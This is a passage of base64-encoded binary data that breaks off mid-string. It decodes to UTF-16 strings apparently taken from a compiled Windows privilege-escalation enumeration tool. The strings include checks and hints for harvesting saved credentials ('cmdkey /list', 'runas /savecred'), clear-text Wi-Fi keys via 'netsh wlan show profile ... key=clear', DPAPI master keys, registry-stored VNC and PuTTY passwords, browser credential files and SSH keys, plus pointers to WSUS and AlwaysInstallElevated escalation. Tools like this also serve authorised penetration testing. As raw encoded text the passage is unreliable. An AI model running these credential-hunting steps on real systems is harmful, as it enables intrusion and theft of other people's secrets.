AZQByAG0AcwA6ACAALgAqAAAzbwB1AGkAZwB5AGUAdgBiADIAdQBpAHYAeQBkAGkAMgB1ADMAaQBkADIAZABkAGYAMwAAMWEAZAB1ADgAdgAyADkAOABoAGYAdQBiAGkAYgB1AGkAZABpAHkAMgA0ADIAMgByAABDbwA4AGEANwBlAGQAdQBpAGEAMwA3AGkAYgBkAHUAYQB1AG4AYgBmADcAYQA0AGcANwB1AGsAZABoAGsANAB1AGEAAB1SAGUAZwBQAGUAcgBtAGkAcwBzAGkAbwBuAHMAABkgACAAIAAgAEYAbwBsAGQAZQByADoAIAAAJQoAIAAgACAAIABGAG8AbABkAGUAcgBQAGUAcgBtAHMAOgAgAAAXCgAgACAAIAAgAEYAaQBsAGUAOgAgAAAJdAByAHUAZQAAPSAAKABVAG4AcQB1AG8AdABlAGQAIABhAG4AZAAgAFMAcABhAGMAZQAgAGQAZQB0AGUAYwB0AGUAZAApAAAhCgAgACAAIAAgAEYAaQBsAGUAUABlAHIAbQBzADoAIAAAHQoAIAAgACAAIABSAGUAZwBQAGEAdABoADoAIAAAHwoAIAAgACAAIABSAGUAZwBQAGUAcgBtAHMAOgAgAABRUwBjAGgAZQBkAHUAbABlAGQAIABBAHAAcABsAGkAYwBhAHQAaQBvAG4AcwAgAC0ALQBOAG8AbgAgAE0AaQBjAHIAbwBzAG8AZgB0AC0ALQABbUMAaABlAGMAawAgAGkAZgAgAHkAbwB1ACAAYwBhAG4AIABtAG8AZABpAGYAeQAgAG8AdABoAGUAcgAgAHUAcwBlAHIAcwAgAHMAYwBoAGUAZAB1AGwAZQBkACAAYgBpAG4AYQByAGkAZQBzAAAlIAAgACAAIAAoAHsAMAB9ACkAIAB7ADEAfQA6ACAAewAyAH0AADUKACAAIAAgACAAUABlAHIAbQBpAHMAcwBpAG8AbgBzACAAZgBpAGwAZQA6ACAAewAzAH0AAFcKACAAIAAgACAAUABlAHIAbQBpAHMAcwBpAG8AbgBzACAAZgBvAGwAZABlAHIAKABEAEwATAAgAEgAaQBqAGEAYwBrAGkAbgBnACkAOgAgAHsANAB9AAAjCgAgACAAIAAgAFQAcgBpAGcAZwBlAHIAOgAgAHsANQB9AAARCgAgACAAIAAgAHsANgB9AAAdTgBlAHQAdwBvAHIAawAgAFMAaABhAHIAZQBzAAALVAAxADEAMwA1AAATIAAgACAAIAB7ADAAfQAgACgAABNQAGEAdABoADoAIAB7ADEAfQAAIyAALQAtACAAUABlAHIAbQBpAHMAcwBpAG8AbgBzADoAIAABE0gAbwBzAHQAIABGAGkAbABlAAALVAAxADAAMQA2AABHXAB3AGkAbgBkAG8AdwBzAFwAcwB5AHMAdABlAG0AMwAyAFwAZAByAGkAdgBlAHIAcwBcAGUAdABjAFwAaABvAHMAdABzAAADCQAAPU4AZQB0AHcAbwByAGsAIABJAGYAYQBjAGUAcwAgAGEAbgBkACAAawBuAG8AdwBuACAAaABvAHMAdABzAABTVABoAGUAIABtAGEAcwBrAHMAIABhAHIAZQAgAG8AbgBsAHkAIABmAG8AcgAgAHQAaABlACAASQBQAHYANAAgAGEAZABkAHIAZQBzAHMAZQBzAAAvIAAgACAAIAB7ADAAfQBbAHsAMQB9AF0AOgAgAHsAMgB9ACAALwAgAHsAMwB9AAATCgAgACAAIAAgACAAIAAgACAAABVHAGEAdABlAHcAYQB5AHMAOgAgAAAHewA0AH0AAA1EAE4AUwBzADoAIAAAB3sANQB9AAAZSwBuAG8AdwBuACAAaABvAHMAdABzADoAAAkKAHsANgB9AAATLAAgADAALgAwAC4AMAAuADAAAC9DAHUAcgByAGUAbgB0ACAATABpAHMAdABlAG4AaQBuAGcAIABQAG8AcgB0AHMAABdUADEAMAA0ADkAJgBUADEAMAA0ADkAAF1DAGgAZQBjAGsAIABmAG8AcgAgAHMAZQByAHYAaQBjAGUAcwAgAHIAZQBzAHQAcgBpAGMAdABlAGQAIABmAHIAbwBtACAAdABoAGUAIABvAHUAdABzAGkAZABlAAARMAAuADAALgAwAC4AMAA6AAALWwA6ADoAXQA6AAA5IAAgACAAIAB7ADAALAAtADEAMAB9AHsAMQAsAC0AMgAzAH0AewAyACwALQAyADMAfQB7ADMAfQABHUYAaQByAGUAdwBhAGwAbAAgAFIAdQBsAGUAcwAAa1MAaABvAHcAaQBuAGcAIABvAG4AbAB5ACAARABFAE4AWQAgAHIAdQBsAGUAcwAgACgAdABvAG8AIABtAGEAbgB5ACAAQQBMAEwATwBXACAAcgB1AGwAZQBzACAAYQBsAHcAYQB5AHMAKQAALSAAIAAgACAAQwB1AHIAcgBlAG4AdAAgAFAAcgBvAGYAaQBsAGUAcwA6ACAAACcgACAAIAAgAHsAMAAsAC0AMgAzAH0AOgAgACAAIAAgAHsAMQB9AAEfIAAgACAAIABEAEUATgBZACAAcgB1AGwAZQBzADoAAF8gACAAIAAgACgAewAwAH0AKQB7ADEAfQBbAHsAMgB9AF0AOgAgAHsAMwB9ACAAewA0AH0AIAB7ADUAfQAgAGYAcgBvAG0AIAB7ADYAfQAgAC0ALQA+ACAAewA3AH0AATkKACAAIAAgACAARgBvAGwAZABlAHIAIABQAGUAcgBtAGkAcwBzAGkAbwBuAHMAOgAgAHsAOQB9AAATCgAgACAAIAAgAHsAMQAwAH0AAE9GAGkAbABlACAAUABlAHIAbQBpAHMAcwBpAG8AbgBzAC4AKgB8AEYAbwBsAGQAZQByACAAUABlAHIAbQBpAHMAcwBpAG8AbgBzAC4AKgAAL0QATgBTACAAYwBhAGMAaABlAGQAIAAtAC0AbABpAG0AaQB0ACAANwAwAC0ALQABKyAAIAAgACAAewAwACwALQAzADgAfQB7ADEALAAtADMAOAB9AHsAMgB9AAEtQwBoAGUAYwBrAGkAbgBnACAAVwBpAG4AZABvAHcAcwAgAFYAYQB1AGwAdAAAgNFoAHQAdABwAHMAOgAvAC8AYgBvAG8AawAuAGgAYQBjAGsAdAByAGkAYwBrAHMALgB4AHkAegAvAHcAaQBuAGQAbwB3AHMALwB3AGkAbgBkAG8AdwBzAC0AbABvAGMAYQBsAC0AcAByAGkAdgBpAGwAZQBnAGUALQBlAHMAYwBhAGwAYQB0AGkAbwBuACMAYwByAGUAZABlAG4AdABpAGEAbABzAC0AbQBhAG4AYQBnAGUAcgAtAHcAaQBuAGQAbwB3AHMALQB2AGEAdQBsAHQAAUVJAGQAZQBuAHQAaQB0AHkALgAqAHwAQwByAGUAZABlAG4AdABpAGEAbAAuACoAfABSAGUAcwBvAHUAcgBjAGUALgAqAAA3QwBoAGUAYwBrAGkAbgBnACAAQwByAGUAZABlAG4AdABpAGEAbAAgAG0AYQBuAGEAZwBlAHIAAA9VAHMAZQByADoALgAqAAALLwBsAGkAcwB0AAAVYwBtAGQAawBlAHkALgBlAHgAZQAAeUkAZgAgAGEAbgB5ACAAYwByAGUAZAAgAHcAYQBzACAAZgBvAHUAbgBkACwAIAB5AG8AdQAgAGMAYQBuACAAdQBzAGUAIABpAHQAIAB3AGkAdABoACAAJwByAHUAbgBhAHMAIAAvAHMAYQB2AGUAYwByAGUAZAAnAAFTIAAgACAAIABUAGgAaQBzACAAZgB1AG4AYwB0AGkAbwBuACAAaQBzACAAbgBvAHQAIAB5AGUAdAAgAGkAbQBwAGwAZQBtAGUAbgB0AGUAZAAuAACAmUkAZgAgAHkAbwB1ACAAdwBhAG4AdAAgAHQAbwAgAGwAaQBzAHQAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAIABpAG4AcwBpAGQAZQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABNAGEAbgBhAGcAZQByACAAdQBzAGUAIAAnAGMAbQBkAGsAZQB5ACAALwBsAGkAcwB0ACcAAStTAGEAdgBlAGQAIABSAEQAUAAgAGMAbwBuAG4AZQBjAHQAaQBvAG4AcwAAKyAAIAAgACAAewAwACwALQAyADAAfQB7ADEALAAtADUANQB9AHsAMgB9AAErUgBlAGMAZQBuAHQAbAB5ACAAcgB1AG4AIABjAG8AbQBtAGEAbgBkAHMAAD1DAGgAZQBjAGsAaQBuAGcAIABmAG8AcgAgAEQAUABBAFAASQAgAE0AYQBzAHQAZQByACAASwBlAHkAcwAAgJloAHQAdABwAHMAOgAvAC8AYgBvAG8AawAuAGgAYQBjAGsAdAByAGkAYwBrAHMALgB4AHkAegAvAHcAaQBuAGQAbwB3AHMALwB3AGkAbgBkAG8AdwBzAC0AbABvAGMAYQBsAC0AcAByAGkAdgBpAGwAZQBnAGUALQBlAHMAYwBhAGwAYQB0AGkAbwBuACMAZABwAGEAcABpAAGApUYAbwBsAGwAbwB3ACAAdABoAGUAIABwAHIAbwB2AGkAZABlAGQAIABsAGkAbgBrACAAZgBvAHIAIABmAHUAcgB0AGgAZQByACAAaQBuAHMAdAByAHUAYwB0AGkAbwBuAHMAIABpAG4AIABoAG8AdwAgAHQAbwAgAGQAZQBjAHIAeQBwAHQAIAB0AGgAZQAgAG0AYQBzAHQAZQByAGsAZQB5AC4AADtDAGgAZQBjAGsAaQBuAGcAIABmAG8AcgAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABGAGkAbABlAHMAAIClRgBvAGwAbABvAHcAIAB0AGgAZQAgAHAAcgBvAHYAaQBkAGUAZAAgAGwAaQBuAGsAIABmAG8AcgAgAGYAdQByAHQAaABlAHIAIABpAG4AcwB0AHIAdQBjAHQAaQBvAG4AcwAgAGkAbgAgAGgAbwB3ACAAdABvACAAZABlAGMAcgB5AHAAdAAgAHQAaABlACAAYwByAGUAZABzACAAZgBpAGwAZQAARUMAaABlAGMAawBpAG4AZwAgAGYAbwByACAAUgBEAEMATQBhAG4AIABTAGUAdAB0AGkAbgBnAHMAIABGAGkAbABlAHMAAIDRaAB0AHQAcABzADoALwAvAGIAbwBvAGsALgBoAGEAYwBrAHQAcgBpAGMAawBzAC4AeAB5AHoALwB3AGkAbgBkAG8AdwBzAC8AdwBpAG4AZABvAHcAcwAtAGwAbwBjAGEAbAAtAHAAcgBpAHYAaQBsAGUAZwBlAC0AZQBzAGMAYQBsAGEAdABpAG8AbgAjAHIAZQBtAG8AdABlAC0AZABlAHMAawB0AG8AcAAtAGMAcgBlAGQAZQBuAHQAaQBhAGwALQBtAGEAbgBhAGcAZQByAAFvRAB1AG0AcAAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAGYAcgBvAG0AIABSAGUAbQBvAHQAZQAgAEQAZQBzAGsAdABvAHAAIABDAG8AbgBuAGUAYwB0AGkAbwBuACAATQBhAG4AYQBnAGUAcgAAgKNGAG8AbABsAG8AdwAgAHQAaABlACAAcAByAG8AdgBpAGQAZQBkACAAbABpAG4AawAgAGYAbwByACAAZgB1AHIAdABoAGUAcgAgAGkAbgBzAHQAcgB1AGMAdABpAG8AbgBzACAAaQBuACAAaABvAHcAIAB0AG8AIABkAGUAYwByAHkAcAB0ACAAdABoAGUAIAAuAHIAZABnACAAZgBpAGwAZQAAOUwAbwBvAGsAaQBuAGcAIABmAG8AcgAgAGsAZQByAGIAZQByAG8AcwAgAHQAaQBjAGsAZQB0AHMAAHtoAHQAdABwAHMAOgAvAC8AYgBvAG8AawAuAGgAYQBjAGsAdAByAGkAYwBrAHMALgB4AHkAegAvAHAAZQBuAHQAZQBzAHQAaQBuAGcALwBwAGUAbgB0AGUAcwB0AGkAbgBnAC0AawBlAHIAYgBlAHIAbwBzAC0AOAA4AAFBTABvAG8AawBpAG4AZwAgAGYAbwByACAAawBlAHIAYgBlAHIAbwBzACAAVABHAFQAIAB0AGkAYwBrAGUAdABzAAAnTABvAG8AawBpAG4AZwAgAHMAYQB2AGUAZAAgAFcAaQBmAGkAcwAACToAIAAuACoAACN3AGwAYQBuACAAcwBoAG8AdwAgAHAAcgBvAGYAaQBsAGUAABNuAGUAdABzAGgALgBlAHgAZQAAgLlJAGYAIAB5AG8AdQAgAHcAYQBuAHQAIAB0AG8AIABsAGkAcwB0ACAAcwBhAHYAZQBkACAAVwBpAGYAaQBzACAAYwBvAG4AbgBlAGMAdABpAG8AbgBzACAAeQBvAHUAIABjAGEAbgAgAGwAaQBzAHQAIAB0AGgAZQAgAHUAcwBpAG4AZwAgACcAbgBlAHQAcwBoACAAdwBsAGEAbgAgAHMAaABvAHcAIABwAHIAbwBmAGkAbABlACcAAYCzSQBmACAAeQBvAHUAIAB3AGEAbgB0ACAAdABvACAAZwBlAHQAIAB0AGgAZQAgAGMAbABlAGEAcgAtAHQAZQB4AHQAIABwAGEAcwBzAHcAbwByAGQAIAB1AHMAZQAgACcAbgBlAHQAcwBoACAAdwBsAGEAbgAgAHMAaABvAHcAIABwAHIAbwBmAGkAbABlACAAPABTAFMASQBEAD4AIABrAGUAeQA9AGMAbABlAGEAcgAnAAElTABvAG8AawBpAG4AZwAgAEEAcABwAEMAbQBkAC4AZQB4AGUAAICjaAB0AHQAcABzADoALwAvAGIAbwBvAGsALgBoAGEAYwBrAHQAcgBpAGMAawBzAC4AeAB5AHoALwB3AGkAbgBkAG8AdwBzAC8AdwBpAG4AZABvAHcAcwAtAGwAbwBjAGEAbAAtAHAAcgBpAHYAaQBsAGUAZwBlAC0AZQBzAGMAYQBsAGEAdABpAG8AbgAjAGEAcABwAGMAbQBkAC0AZQB4AGUAAVElAHMAeQBzAHQAZQBtAHIAbwBvAHQAJQBcAHMAeQBzAHQAZQBtADMAMgBcAGkAbgBlAHQAcwByAHYAXABhAHAAcABjAG0AZAAuAGUAeABlAAA5IAAgACAAIABBAHAAcABDAG0AZAAuAGUAeABlACAAdwBhAHMAIABmAG8AdQBuAGQAIABpAG4AIAAAgKMlAHMAeQBzAHQAZQBtAHIAbwBvAHQAJQBcAHMAeQBzAHQAZQBtADMAMgBcAGkAbgBlAHQAcwByAHYAXABhAHAAcABjAG0AZAAuAGUAeABlACAAWQBvAHUAIABzAGgAbwB1AGwAZAAgAHQAcgB5ACAAdABvACAAcwBlAGEAcgBjAGgAIABmAG8AcgAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAKUwAbwBvAGsAaQBuAGcAIABTAFMAQwBsAGkAZQBuAHQALgBlAHgAZQAAgKloAHQAdABwAHMAOgAvAC8AYgBvAG8AawAuAGgAYQBjAGsAdAByAGkAYwBrAHMALgB4AHkAegAvAHcAaQBuAGQAbwB3AHMALwB3AGkAbgBkAG8AdwBzAC0AbABvAGMAYQBsAC0AcAByAGkAdgBpAGwAZQBnAGUALQBlAHMAYwBhAGwAYQB0AGkAbwBuACMAcwBjAGMAbABpAGUAbgB0AC0AcwBjAGMAbQABSyUAcwB5AHMAdABlAG0AcgBvAG8AdAAlAFwAVwBpAG4AZABvAHcAcwBcAEMAQwBNAFwAUwBDAEMAbABpAGUAbgB0AC4AZQB4AGUAAD0gACAAIAAgAFMAQwBDAGwAaQBlAG4AdAAuAGUAeABlACAAdwBhAHMAIABmAG8AdQBuAGQAIABpAG4AIAAAbyUAcwB5AHMAdABlAG0AcgBvAG8AdAAlAFwAVwBpAG4AZABvAHcAcwBcAEMAQwBNAFwAUwBDAEMAbABpAGUAbgB0AC4AZQB4AGUAIABEAEwATAAgAFMAaQBkAGUAIABsAG8AYQBkAGkAbgBnAD8AAD1DAGgAZQBjAGsAaQBuAGcAIABBAGwAdwBhAHkAcwBJAG4AcwB0AGEAbABsAEUAbABlAHYAYQB0AGUAZAAAgLloAHQAdABwAHMAOgAvAC8AYgBvAG8AawAuAGgAYQBjAGsAdAByAGkAYwBrAHMALgB4AHkAegAvAHcAaQBuAGQAbwB3AHMALwB3AGkAbgBkAG8AdwBzAC0AbABvAGMAYQBsAC0AcAByAGkAdgBpAGwAZQBnAGUALQBlAHMAYwBhAGwAYQB0AGkAbwBuACMAYQBsAHcAYQB5AHMAaQBuAHMAdABhAGwAbABlAGwAZQB2AGEAdABlAGQAAVtTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABJAG4AcwB0AGEAbABsAGUAcgAAK0EAbAB3AGEAeQBzAEkAbgBzAHQAYQBsAGwARQBsAGUAdgBhAHQAZQBkAABXIAAgACAAIABBAGwAdwBhAHkAcwBJAG4AcwB0AGEAbABsAEUAbABlAHYAYQB0AGUAZAAgAHMAZQB0ACAAdABvACAAMQAgAGkAbgAgAEgASwBMAE0AIQAAVyAAIAAgACAAQQBsAHcAYQB5AHMASQBuAHMAdABhAGwAbABFAGwAZQB2AGEAdABlAGQAIABzAGUAdAAgAHQAbwAgADEAIABpAG4AIABIAEsAQwBVACEAAFMgACAAIAAgAEEAbAB3AGEAeQBzAEkAbgBzAHQAYQBsAGwARQBsAGUAdgBhAHQAZQBkACAAaQBzAG4AJwB0ACAAYQB2AGEAaQBsAGEAYgBsAGUAARtDAGgAZQBjAGsAaQBuAGcAIABXAFMAVQBTAACAl2gAdAB0AHAAcwA6AC8ALwBiAG8AbwBrAC4AaABhAGMAawB0AHIAaQBjAGsAcwAuAHgAeQB6AC8AdwBpAG4AZABvAHcAcwAvAHcAaQBuAGQAbwB3AHMALQBsAG8AYwBhAGwALQBwAHIAaQB2AGkAbABlAGcAZQAtAGUAcwBjAGEAbABhAHQAaQBvAG4AIwB3AHMAdQBzAAFjUwBvAGYAdAB3AGEAcgBlAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAVwBpAG4AZABvAHcAcwBVAHAAZABhAHQAZQAAEVcAVQBTAGUAcgB2AGUAcgAAF1UAcwBlAFcAVQBTAGUAcgB2AGUAcgAAD2gAdAB0AHAAOgAvAC8AADEgACAAIAAgAFcAUwBVAFMAIABpAHMAIAB1AHMAaQBuAGcAIABoAHQAdABwADoAIAAAgI1ZAG8AdQAgAGMAYQBuACAAdABlAHMAdAAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AcABpAG0AcABzAC8AdwBzAHUAeABwAGwAbwBpAHQAIAB0AG8AIABlAHMAYwBhAGwAYQB0AGUAIABwAHIAaQB2AGkAbABlAGcAZQBzAABxIAAgACAAIABBAG4AZAAgAFUAcwBlAFcAVQBTAGUAcgB2AGUAcgAgAGkAcwAgAGUAcQB1AGEAbABzACAAdABvACAAMQAsACAAcwBvACAAaQB0ACAAaQBzACAAdgB1AGwAbgBlAHIAYQBiAGwAZQAhAAB5IAAgACAAIABCAHUAdAAgAFUAcwBlAFcAVQBTAGUAcgB2AGUAcgAgAGkAcwAgAGUAcQB1AGEAbABzACAAdABvACAAMAAsACAAcwBvACAAaQB0ACAAaQBzACAAbgBvAHQAIAB2AHUAbABuAGUAcgBhAGIAbABlACEAAEMgACAAIAAgAEIAdQB0ACAAVQBzAGUAVwBVAFMAZQByAHYAZQByACAAaQBzACAAZQBxAHUAYQBsAHMAIAB0AG8AIAAALywAIABzAG8AIABpAHQAIABtAGEAeQAgAHcAbwByAGsAIABvAHIAIABuAG8AdAAAISAAIAAgACAAVwBTAFUAUwAgAHYAYQBsAHUAZQA6ACAAAC9MAG8AbwBrAGkAbgBnACAAZgBvAHIAIABGAGkAcgBlAGYAbwB4ACAARABCAHMAAAtUADEANQAwADMAAICvaAB0AHQAcABzADoALwAvAGIAbwBvAGsALgBoAGEAYwBrAHQAcgBpAGMAawBzAC4AeAB5AHoALwB3AGkAbgBkAG8AdwBzAC8AdwBpAG4AZABvAHcAcwAtAGwAbwBjAGEAbAAtAHAAcgBpAHYAaQBsAGUAZwBlAC0AZQBzAGMAYQBsAGEAdABpAG8AbgAjAGIAcgBvAHcAcwBlAHIAcwAtAGgAaQBzAHQAbwByAHkAAU8gACAAIAAgAEYAaQByAGUAZgBvAHgAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAIABmAGkAbABlACAAZQB4AGkAcwB0AHMAIABhAHQAIAAAbVIAdQBuACAAUwBoAGEAcgBwAFcAZQBiACAAKABoAHQAdABwAHMAOgAvAC8AZwBpAHQAaAB1AGIALgBjAG8AbQAvAGQAagBoAG8AaABuAHMAdABlAGkAbgAvAFMAaABhAHIAcABXAGUAYgApAABdTABvAG8AawBpAG4AZwAgAGYAbwByACAARwBFAFQAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAIABpAG4AIABGAGkAcgBlAGYAbwB4ACAAaABpAHMAdABvAHIAeQAALUwAbwBvAGsAaQBuAGcAIABmAG8AcgAgAEMAaAByAG8AbQBlACAARABCAHMAAE0gACAAIAAgAEMAaAByAG8AbQBlACAAYwBvAG8AawBpAGUAcwAgAGQAYQB0AGEAYgBhAHMAZQAgAGUAeABpAHMAdABzACAAYQB0ACAAAGVGAG8AbABsAG8AdwAgAHQAaABlACAAcAByAG8AdgBpAGQAZQBkACAAbABpAG4AawAgAGYAbwByACAAZgB1AHIAdABoAGUAcgAgAGkAbgBzAHQAcgB1AGMAdABpAG8AbgBzAC4AAFUgACAAIAAgAEMAaAByAG8AbQBlACAAcwBhAHYAZQBkACAAbABvAGcAaQBuACAAZABhAHQAYQBiAGEAcwBlACAAZQB4AGkAcwB0AHMAIABhAHQAIAAAW0wAbwBvAGsAaQBuAGcAIABmAG8AcgAgAEcARQBUACAAYwByAGUAZABlAG4AdABpAGEAbABzACAAaQBuACAAQwBoAHIAbwBtAGUAIABoAGkAcwB0AG8AcgB5AAAhQwBoAHIAbwBtAGUAIABiAG8AbwBrAG0AYQByAGsAcwAAC1QAMQAyADEANwAAH0MAdQByAHIAZQBuAHQAIABJAEUAIAB0AGEAYgBzAABTTABvAG8AawBpAG4AZwAgAGYAbwByACAARwBFAFQAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAIABpAG4AIABJAEUAIABoAGkAcwB0AG8AcgB5AAAZSQBFACAAZgBhAHYAbwByAGkAdABlAHMAAB1QAHUAdAB0AHkAIABTAGUAcwBzAGkAbwBuAHMAAHlQAHIAbwB4AHkAUABhAHMAcwB3AG8AcgBkAC4AKgB8AFAAdQBiAGwAaQBjAEsAZQB5AEYAaQBsAGUALgAqAHwASABvAHMAdABOAGEAbQBlAC4AKgB8AFAAbwByAHQARgBvAHIAdwBhAHIAZABpAG4AZwBzAC4AKgAAJ1AAdQB0AHQAeQAgAFMAUwBIACAASABvAHMAdAAgAGsAZQB5AHMAAClTAFMASAAgAGsAZQB5AHMAIABpAG4AIAByAGUAZwBpAHMAdAByAHkAAIC3aAB0AHQAcABzADoALwAvAGIAbwBvAGsALgBoAGEAYwBrAHQAcgBpAGMAawBzAC4AeAB5AHoALwB3AGkAbgBkAG8AdwBzAC8AdwBpAG4AZABvAHcAcwAtAGwAbwBjAGEAbAAtAHAAcgBpAHYAaQBsAGUAZwBlAC0AZQBzAGMAYQBsAGEAdABpAG8AbgAjAHMAcwBoAC0AawBlAHkAcwAtAGkAbgAtAHIAZQBnAGkAcwB0AHIAeQABgJ9JAGYAIAB5AG8AdQAgAGYAaQBuAGQAIABhAG4AeQB0AGgAaQBuAGcAIABoAGUAcgBlACwAIABmAG8AbABsAG8AdwAgAHQAaABlACAAbABpAG4AawAgAHQAbwAgAGwAZQBhAHIAbgAgAGgAbwB3ACAAdABvACAAZABlAGMAcgB5AHAAdAAgAHQAaABlACAAUwBTAEgAIABrAGUAeQBzAAAlTwBwAGUAbgBTAFMASABcAEEAZwBlAG4AdABcAEsAZQB5AHMAACNDAGwAbwB1AGQAIABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAACNUADEANQAzADgAJgBUADEAMAA4ADMAJgBUADEAMAA4ADEAAIC/aAB0AHQAcABzADoALwAvAGIAbwBvAGsALgBoAGEAYwBrAHQAcgBpAGMAawBzAC4AeAB5AHoALwB3AGkAbgBkAG8AdwBzAC8AdwBpAG4AZABvAHcAcwAtAGwAbwBjAGEAbAAtAHAAcgBpAHYAaQBsAGUAZwBlAC0AZQBzAGMAYQBsAGEAdABpAG8AbgAjAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAtAGkAbgBzAGkAZABlAC0AZgBpAGwAZQBzAAFTIAAgACAAIAB7ADAAfQBbAHsAMQB9AF0ACgAgACAAIAAgAEEAYwBjAGUAcwBzAGUAZAA6AHsAMgB9ACAALQAtACAAUwBpAHoAZQA6AHsAMwB9AAEfVQBuAG4AYQB0AHQAZQBuAGQAIABGAGkAbABlAHMAAE9MAG8AbwBrAGkAbgBnACAAZgBvAHIAIABjAG8AbQBtAG8AbgAgAFMAQQBNACAAJgAgAFMAWQBTAFQARQBNACAAYgBhAGMAawB1AHAAcwAAS0wAbwBvAGsAaQBuAGcAIABmAG8AcgAgAE0AYwBBAGYAZQBlACAAUwBpAHQAZQBsAGkAcwB0AC4AeABtAGwAIABGAGkAbABlAHMAAClDAGEAYwBoAGUAZAAgAEcAUABQACAAUABhAHMAcwB3AG8AcgBkAHMAABdjAHAAYQBzAHMAdwBvAHIAZAAuACoAABUgACAAIAAgAEYAbwB1AG4AZAAgAAA7UwBvAGYAdAB3AGEAcgBlAFwATwBSAEwAXABXAGkAbgBWAE4AQwAzAFwAUABhAHMAcwB3AG8AcgBkAAAxUwBvAGYAdAB3AGEAcgBlAFwAVABpAGcAaAB0AFYATgBDAFwAUwBlAHIAdgBlAHIAAEdTAG8AZgB0AHcAYQByAGUAXABTAGkAbQBvAG4AVABhAHQAaABhAG0AXABQAHUAVABUAFkAXABTAGUAcwBzAGkAbwBuAHMAAE1TAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAFMAZQByAHYAaQBjAGUAcwBcAFMATgBNAFAAAElMAG8AbwBrAGkAbgBnACAAZgBvAHIAIABwAG8AcwBzAGkAYgBsAGUAIAByAGUAZwBzACAAdwBpAHQAaAAgAGMAcgBlAGQAcwAAF1QAMQAwADEAMgAmAFQAMQAyADEANAAAgLVoAHQAdABwAHMAOgAvAC8AYgBvAG8AawAuAGgAYQBjAGsAdAByAGkAYwBrAHMALgB4AHkAegAvAHcAaQBuAGQAbwB3AHMALwB3AGkAbgBkAG8AdwBzAC0AbABvAGMAYQBsAC0AcAByAGkAdgBpAGwAZQBnAGUALQBlAHMAYwBhAGwAYQB0AGkAbwBuACMAaQBuAHMAaQBkAGUALQB0AGgAZQAtAHIAZQBnAGkAcwB0AHIAeQABMVMATwBGAFQAVwBBAFIARQBcAFIAZQBhAGwAVgBOAEMAXABXAGkAbgBWAE4AQwA0AAATcABhAHMAcwB3AHcAbwByAGQAAC8qAGMAcgBlAGQAZQBuAHQAaQBhAGwAKgA7ACoAcABhAHMAcwB3AG8AcgBkACoAAICTWwBjAEMAXQBbAHIAUgBdAFsAZQBFAF0AWwBkAEQAXQBbAGUARQBdAFsAbgBOAF0AWwB0AFQAXQBbAGkASQBdAFsAYQBBAF0AWwBsAEwAXQB8AFsAcABQAF0AWwBhAEEAXQBbAHMAUwBdAFsAcwBTAF0AWwB3AFcAXQBbAG8ATwBdAFsAcgBSAF0AWwBkAEQAXQAACS4AdAB4AHQAAAsuAGMAbwBuAGYAAAkuAGMAbgBmAAAJLgB5AG0AbAAACy4AeQBhAG0AbAAACS4AZABvAGMAAAsuAGQAbwBjAHgAAAsuAHgAbABzAHgAAAsuAGoAcwBvAG4AAAkuAHgAbQBsAABlTABvAG8AawBpAG4AZwAgAGYAbwByACAAcABvAHMAcwBpAGIAbABlACAAcABhAHMAcwB3AG8AcgBkACAAZgBpAGwAZQBzACAAaQBuACAAdQBzAGUAcgBzACAAaABvAG0AZQBzAAAXVAAxADAAOAAzACYAVAAxADAAOAAxAAAJewAwAH0AXAAADVwAVQBzAGUAcgBzAAADLgAAMTsAKgBwAGEAcwBzAHcAbwByAGQAKgA7ACoAYwByAGUAZABlAG4AdABpAGEAbAAqAAA5fAAuACoAcABhAHMAcwB3AG8AcgBkAC4AKgB8AC4AKgBjAHIAZQBkAGUAbgB0AGkAYQBsAC4AKgAAXUwAbwBvAGsAaQBuAGcAIABpAG4AcwBpAGQAZQAgAHQAaABlACAAUgBlAGMAeQBjAGwAZQAgAEIAaQBuACAAZgBvAHIAIABjAHIAZQBkAHMAIABmAGkAbABlAHMAACNUADEAMAA4ADMAJgBUADEAMAA4ADEAJgBUADEAMQA0ADUAAGlTAGUAYQByAGMAaABpAG4AZwAgAGsAbgBvAHcAbgAgAGYAaQBsAGUAcwAgAHQAaABhAHQAIABjAGEAbgAgAGMAbwBuAHQAYQBpAG4AIABjAHIAZQBkAHMAIABpAG4AIABoAG8AbQBlAABHTABvAG8AawBpAG4AZwAgAGYAbwByACAAZABvAGMAdQBtAGUAbgB0AHMAIAAtAC0AbABpAG0AaQB0ACAAMQAwADAALQAtAAELVAAxADAAOAAzAAAzUgBlAGMAZQBuAHQAIABmAGkAbABlAHMAIAAtAC0AbABpAG0AaQB0ACAANwAwAC0ALQABFXIAbwBvAHQAXABjAGkAbQB2ADIAADdTAEUATABFAEMAVAAgACoAIABGAFIATwBNACAAdwBpAG4AMwAyAF8AcwBlAHIAdgBpAGMAZQAAQ1MAWQBTAFQARQBNAFwAQwB1AHIAcgBlAG4AdABDAG8AbgB0AHIAbwBsAFMAZQB0AFwAUwBlAHIAdgBpAGMAZQBzAABFUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABTAGUAcgB2AGkAYwBlAHMAXAAAE0kAbQBhAGcAZQBQAGEAdABoAAAZXABTAHkAcwB0AGUAbQBSAG8AbwB0AFwAABslAFMAeQBzAHQAZQBtAFIAbwBvAHQAJQBcAAADMwAAAzQAAAM1AAAJQgBvAG8AdAAADVMAeQBzAHQAZQBtAAARQQB1AHQAbwBsAG8AYQBkAAANTQBhAG4AdQBhAGwAACFHAGUAdABTAGUAcgB2AGkAYwBlAEgAYQBuAGQAbABlAABDcwB5AHMAd